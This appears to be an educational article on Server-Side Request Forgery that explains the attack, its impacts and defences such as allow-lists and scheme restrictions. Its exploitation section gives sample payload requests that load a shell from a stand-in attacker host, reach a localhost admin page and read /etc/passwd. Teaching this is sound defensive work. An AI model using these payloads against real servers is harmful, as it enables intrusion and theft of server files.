What is a Server Side Request Forgery Attack?
Server-Side Request Forgery, also known as SSRF refers to an attack which lets an attacker send crafted requests from the back-end server of a vulnerable web application.
SSRF is commonly used by attackers to target internal networks that are behind firewalls and can not be reached from the external network.
SSRF vulnerabilities occur when the attacker has full or partial control of the request sent by the web application. If the vulnerable web application processes the user-supplied URLs then the application is vulnerable to SSRF attacks.
Cross-Site Port Attack (XSPA) is also a part of SSRF. In XSPA, an attacker can scan the open port of a targeted web server with the help of a vulnerable web application which is processing the user’s URL.
Impact of a Server Side Request Forgery Attack
If the user-supplied URL is processed and the back-end response is not sanitised then the attack can lead to several impacts like:
Port scanning: A user can scan the port of a particular website through the vulnerable web application which is processing the user’s URL.
Fingerprinting intranet.
Attacking internal or external web applications.
Reading local web server files using the file:/// protocol handler.
In some cases, a successful SSRF attack can even lead to Remote Code Execution (RCE).
How is an SSRF Vulnerability Exploited
There are 2 ways by which an SSRF vulnerability is usually exploited:
Trying to access or load sensitive content from the server. This test is for local and remote file inclusion.
Trying to access a trust relationship that often emerges when the application server connects with back-end systems that have private IP addresses that are not routable and mostly limited to public users.
Consider the below request:
GET https://xyz.com/id?content=dashboard.php
This request can be tested using several payloads like:
Loading file content
GET https://xyz.com/id?content=https://evilsite.com/shell.php
Accessing a restricted page
GET https://xyz.com/id?content=http://localhost/administrator
The loopback interface can be used to access the content that is accessible only for the host. This states that we have access to the host, which implies we also have access to the admin page.
Fetching a local file
file:/// protocol handler can be used to fetch a local file.
GET https://xyz.com/id?content=file:///etc/passwd
This Github link can be used as a reference for additional payloads and bypass techniques.
How to Prevent an SSRF Attack
Use a whitelist of approved domains and protocols through which remote resources can be acquired by the web server.
User input should always be sanitised or validated.
One must verify that the server response received is as planned to avoid response data leakage to an attacker. The raw response body of the request sent by the server should not be delivered to the client under any circumstances.
If only HTTP or HTTPS are used by your application to make requests, allow only these URL schemas. If URL schemas like file:///, dict://, ftp:// and gopher:// are disabled, the attacker won’t be able to use the web application to make dangerous requests using these URL schemas.
Services like Memcached, Redis, Elasticsearch, and MongoDB do not need authentication by default. Server Side Request Forgery vulnerabilities may be used by an attacker to access any of these services without any authentication. Therefore it is best to allow authentication wherever possible, even for services on the local network to ensure security for the web application.
Conclusion
SSRF is a very tricky vulnerability which abuses the most trusted component which is the application’s code.
It is best advised to have the controls in place during the design/development phase. You can minimize the impact of abuse by adopting all the best practices and remediation steps provided.
